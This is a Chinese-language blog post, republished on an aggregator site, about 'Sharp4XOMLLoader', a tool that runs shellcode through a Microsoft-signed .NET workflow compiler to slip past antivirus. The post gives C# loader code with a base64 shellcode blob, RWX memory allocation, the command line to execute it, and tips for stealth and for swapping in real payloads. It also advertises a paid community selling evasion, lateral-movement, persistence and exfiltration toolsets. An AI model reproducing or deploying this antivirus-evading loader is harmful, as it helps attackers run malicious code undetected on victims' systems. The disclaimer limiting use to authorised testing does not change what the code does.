.NET 一款免杀的白名单Shellcode加载器

news2024/9/20 10:34:44

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4XOMLLoader 是一款执行 XOML(eXtensible Object Markup Language)中的 Shellcode 的工具。因为程序自带微软签名,因此通过该工具能够绕过反病毒软件的监控,执行恶意代码。这种技术利用了 XOML 的合法性和白名单程序在系统中的可信度,使得恶意代码的执行更难被检测和阻止。

图片

03使用方法

具体来说,Shellcode.xoml是一段启动cmd.exe进程的Shellcode,代码如下所示。

public Sharp4XOMLLoader() {
byte[] shellcode = System.Convert.FromBase64String("/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTH");
System.IntPtr addr = VirtualAlloc(System.IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
System.Runtime.InteropServices.Marshal.Copy(shellcode, 0, addr, shellcode.Length);
}

实战时,只需替换掉base64编码的Shellcode即可,Sharp4XOMLLoader 工具允许通过命令行传递参数来加载并执行 XOML 文件,命令如下所示。

Sharp4XOMLLoader.exe /debug:- Shellcode.xoml 

其中的 /debug:- 参数用于指定不生成其他附属调试文件,确保执行过程的隐蔽性,shellcode.xoml: 是包含了要执行的 shellcode 的 XOML 文件,执行完成后返回了运行成功后的cmd.exe,如下图所示:"Microsoft Windows [版本 10.0.19045.4780](c) Microsoft Corporation。保留所有权利。"

图片

将shellcode替换成启动winver进程的.NET代码,再次执行后成功启动新进程,如下图所示。

图片

04原理解析

Sharp4XOMLLoader 的核心代码的作用是确定目标是生成 DLL 还是 EXE 文件,并根据目标的不同生成相应的输出文件。通过 workflowCompiler.Compile 方法,代码会编译并生成包含恶意 Shellcode 的二进制文件,如下所示。

if (TargetSwitch.Switch.IsTargetAssembly || TargetSwitch.Switch.IsTargetExe)
{
    string text = OutSwitch.Switch.OutputFileName;
    if (text == null || text.Length == 0)
    {
            text = CompilerHelpers.RemoveFileExentsion(stringCollection[0]) + ".exe"; 
    }
    workflowCompilerParameters.GenerateExecutable = TargetSwitch.Switch.IsTargetExe;
    workflowCompilerParameters.OutputAssembly = text;
    string[] array = new string[stringCollection.Count];
    if (stringCollection.Count > 0)
    {
        stringCollection.CopyTo(array, 0);
    }
    compilerResults = workflowCompiler.Compile(workflowCompilerParameters, array);
}

另外,通过创建新的 AppDomain 来隔离编译过程,确保生成的程序集不会污染当前的应用程序域,具体代码如下所示。

public WorkflowCompilerResults Compile(WorkflowCompilerParameters parameters, params string[] files)
{
    if (parameters == null)
    {
        throw new ArgumentNullException("parameters");
    }
    if (files == null)
    {
        throw new ArgumentNullException("files");
    }
    string text = null;
    string text2 = null;
    AppDomainSetup setupInformation = AppDomain.CurrentDomain.SetupInformation;
    setupInformation.LoaderOptimization = LoaderOptimization.MultiDomainHost;
    AppDomain appDomain = AppDomain.CreateDomain("CompilerDomain", null, setupInformation);
    bool flag = false;
    string outputAssembly = parameters.OutputAssembly;
    WorkflowCompilerResults result;
    try
    {
        if (parameters.GenerateInMemory)
        {
            flag = true;
            parameters.GenerateInMemory = false;
            if (string.IsNullOrEmpty(parameters.OutputAssembly))
            {
                text2 = Path.GetTempFileName();
                parameters.OutputAssembly = text2 + ".dll";
            }
          }
      }
        WorkflowCompilerInternal workflowCompilerInternal = (WorkflowCompilerInternal)appDomain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(WorkflowCompilerInternal).FullName);
        WorkflowCompilerResults workflowCompilerResults = workflowCompilerInternal.Compile(parameters, files);
}

这种技术在生成和加载恶意文件时非常有用,因为它能够有效地避免常规安全软件的检测。综上,Sharp4XOMLLoader 是一个执行 XOML 中的 Shellcode 的工具。通过自带微软签名来绕过传统的反病毒软件检测,使其成为一个强大的加载器。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

星球主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

为了助力大家在2024国家级hvv演练中脱颖而出,我们特别整理出了一套涵盖dotNet安全矩阵星球的八大.NET相关方向工具集。

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2106712.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

论 LLMs 如何解决长文本问题?

一、长文本的核心问题与解决方向 1.1 文本长度与显存及计算量之关系 要研究清楚长文本的问题,首先应该搞清楚文本长度在模型中的地位与影响。那么我们便以 Decoder-base 的模型为例来进行分析 1.1.1 模型参数量 Decoder-base 的模型主要包括 3 个部分&#xff1…

基于Java语言的光伏运维管理系统

背景 ‌光伏发电系统主要由‌‌太阳电池板(组件)、‌控制器和‌逆变器‌三大部分组成,主要部件由电子元器件构成。此外,光伏发电系统还包括‌变压器、‌光伏方阵以及相关辅助设施等。‌ 光伏发电系统是利用光伏电池的光生伏特效应…

Java-数据结构-链表-习题(三)(๑´ㅂ`๑)

文本目录: ​❄️一、习题一: ▶ 思路: ▶ 代码: ​❄️二、习题二: ▶ 思路: ▶ 代码: ​❄️三、习题三: ▶ 思路: ▶ 代码: ​❄️四、习题四&#xf…

包的相关知识

1. java定义了一种名字空间,称之为包:package。一个类总属于某个包,类名只是一个简写,真正的完整类名应该是”包名.类名“。 2. 在Java虚拟机执行的时候,JVM只看完整类名,只要包名不同,类就不同…

keysight346A安捷伦346B噪声源HP346B-18Ghz

keysight346A安捷伦346B噪声源HP346B-18Ghz Agilent 346B | HP-346B 噪声源|惠普|安捷伦|噪声头|HP-346B 品牌:美国安捷伦 Agilent | 美国惠普 HP Agilent 346B选件H01高ENR噪声源 Agilent 346B选件H01有高的ENR(典型值为21dB )适于测量噪声系数很大的…

【媒体邀约】论企业宣传与媒体合作

传媒如春雨,润物细无声,大家好,我是51媒体网胡老师。 在探讨企业宣传与媒体合作的策略和实施时,可以从以下结构进行论述: 一、前言 企业宣传与媒体合作在当代商业环境中扮演着至关重要的角色。随着信息科技的发展和媒…

第二证券:有风险!筹码集中股出炉,这10股股东数骤降

深圳华强:存在商场心境过热的风险 昨日晚间,深圳华强发布《股票生意失常不坚定及严峻失常不坚定暨风险提示公告》。公司在公告中提示,近期公司股价短期涨幅较大,明显违背商场走势,存在商场心境过热的风险。但公司基本…

景区智慧公厕系统能给景区带来什么价值?

在当今数字化时代,景区智慧公厕系统正逐渐成为提升景区品质和游客体验的重要组成部分。 一、智慧公厕系统大屏功能 智慧公厕系统的大屏界面功能丰富多样。它可以实时显示公厕内的布局图,清晰地标明各个厕位的使用情况,让游客一目了然。同时&a…

【Google Play】Via浏览器5.8.1最新国际版(如何鉴别是否官方?)

via 浏览器,为您的安卓设备带来清爽无打扰的上网体验,不会推送新闻和其他内容,让您的设备保持纯净。体积小巧,内存占用极低,确保您的安卓设备如同新机般运行流畅。简约设计,是极简主义爱好者和技术达人的首…

查看vue项目的node版本

如果项目使用的 yarn 和 typescript,可以査看yarn.lock里的types/node 的 version: "types/node*" :"integrity" "sha1-ZhA9Ltxxxxxxxxxxxx""resolved" "https://registry.npm.taobao.xxxxxxxx""version&q…

Linux 磁盘管理-磁盘接口类型和分区看这一篇就够了

今天给伙伴们分享一下Linux 磁盘管理-磁盘接口类型和分区,希望看了有所收获。 我是公众号「想吃西红柿」「云原生运维实战派」作者,对云原生运维感兴趣,也保持时刻学习,后续会分享工作中用到的运维技术,在运维的路上得…

【机器学习】深度学习的现实应用——从图像识别到自然语言处理

🔥 个人主页:空白诗 文章目录 一、深度学习的概述1.1 深度学习的定义1.1.1 什么是深度学习1.1.2 深度学习的历史与发展 1.2 深度学习与传统机器学习的区别1.2.1 特征工程的区别1.2.2 模型复杂度与计算能力的对比 1.3 深度学习的关键技术1.3.1 人工神经网…

xampp安装federated插件,实现mysql数据同步

需求:a服务器上的mysql数据库data表插入新数据时,需要同步到b服务器上的data表中。 解决:a服务器上开启federated引擎插件,创建data1对应b服务器上的data表。 在a服务器上的data表创建触发器,data表插入数据后执行触发…

【自动驾驶】控制算法(八)横向控制Ⅰ | 算法与流程

写在前面: 🌟 欢迎光临 清流君 的博客小天地,这里是我分享技术与心得的温馨角落。📝 个人主页:清流君_CSDN博客,期待与您一同探索 移动机器人 领域的无限可能。 🔍 本文系 清流君 原创之作&…

ASTER L2 表面反射率 SWIR 和 ASTER L2 表面反射率 VNIR V003

ASTER L2 Surface Reflectance SWIR and ASTER L2 Surface Reflectance VNIR V003 ASTER L2 表面反射率 SWIR 和 ASTER L2 表面反射率 VNIR V003 简介 ASTER 表面反射率 VNIR 和 SWIR (AST_07) 数据产品 (https://lpdaac.usgs.gov/documents/996/ASTER_Earthdata_Search_Ord…

Windows11系统本地部署Fooocus结合内网穿透远程AI生成图片

文章目录 前言1. 本地部署Fooocus图像生成软件1.1 安装方式1.2 功能介绍 2. 公网远程访问Fooocus3. 固定Fooocus公网地址 前言 本篇文章将介绍如何在本地Windows11电脑部署开源AI生图软件Fooocus,并结合Cpolar内网穿透工具轻松实现公网环境远程访问与使用。 Foooc…

在Windows系统上部署PPTist并实现远程访问

在Windows系统上部署PPTist并实现远程访问 前言PPTist简介本地部署PPTist步骤1:获取PPTist步骤2:安装依赖步骤3:运行PPTist 使用PPTist远程访问PPTist步骤1:安装Cpolar步骤2:配置公网地址步骤3:配置固定公网…

SAP NATIVE SQL

【应用场景】 1. 往对方中间库表中直接新增数据库表记录 2. 通过数据库中间件直接读取对方系统数据库表 【知识点】1. 连接数据库 2.读取数据 3.关闭数据库连接 4. 游标的使用 【前置条件】DB2配置对应对方系统的数据库连接是通的。有时因为密码过期或改了会导致数据库…

本地生活服务平台排名榜揭秘!如何通过搭建本地生活服务系统入局?

当前,本地生活赛道的热度不断攀升,想要通过本地生活服务商这一身份入局分羹的创业者数量更是不计其数。这让本地生活市场的竞争日渐激烈的同时,也让各类本地生活服务平台排行榜成为他们的重点关注对象。 而综合多个本地生活服务平台排行榜来看…

跟李沐学AI:语言模型

语言模型定义 假设在给定长度为T的文本序列中的词元依次为,可被人做文本序列在时间步t处的观测或标签。在给定这样的文本序列是,语言模型的目标是估计序列的联合概率。 一个理想的与语言模型能够在一次抽取一个词元的情况下基于模型本身生成自然文本。…